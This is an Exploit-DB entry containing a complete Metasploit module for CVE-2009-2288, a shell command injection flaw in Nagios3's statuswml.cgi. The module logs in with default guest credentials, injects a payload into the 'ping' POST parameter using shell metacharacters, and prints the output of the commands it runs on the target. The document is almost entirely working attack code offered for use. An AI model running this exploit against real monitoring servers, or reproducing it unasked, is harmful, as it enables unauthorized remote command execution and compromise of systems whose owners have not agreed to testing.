Nagios3 - 'statuswml.cgi' Command Injection (Metasploit)

EDB-ID:

9861




Platform:

Unix

Date:

2009-10-30


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
			'Description'    => %q{
				This module abuses a metacharacter injection vulnerability in the
			Nagios3 statuswml.cgi script. This flaw is triggered when shell
			metacharacters are present in the parameters to the ping and
			traceroute commands.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-2288' ],
					[ 'OSVDB', '55281'],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,				
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => '<>',
					'Compat'      =>
						{
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
					OptString.new('USER', [true, "The username to authenticate with", "guest"]),
					OptString.new('PASS', [true, "The password to authenticate with", "guest"]),								
				], self.class)
	end
	
	def exploit

		print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
		
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => datastore['URI'],	
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
			'vars_post' => 
			{
				'ping' => ';' + payload.encoded + '&'
			}
		}, 10)
		
		
		if(not res)
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end
		
		if(res.code == 401)
			print_error("Please specify correct values for USER and PASS")
			return
		end
		
		if(res.code == 404)
			print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
			return
		end
		
		if(res.body =~ /Invalid host name/)
			print_error("This server has already been patched")
			return
		end
		
		if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
			print_status("Displaying command response")
			out = $1
			print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
			return
		end

		
		print_status("Unknown response, displaying raw HTML")
		print_line(res.body)
	end

end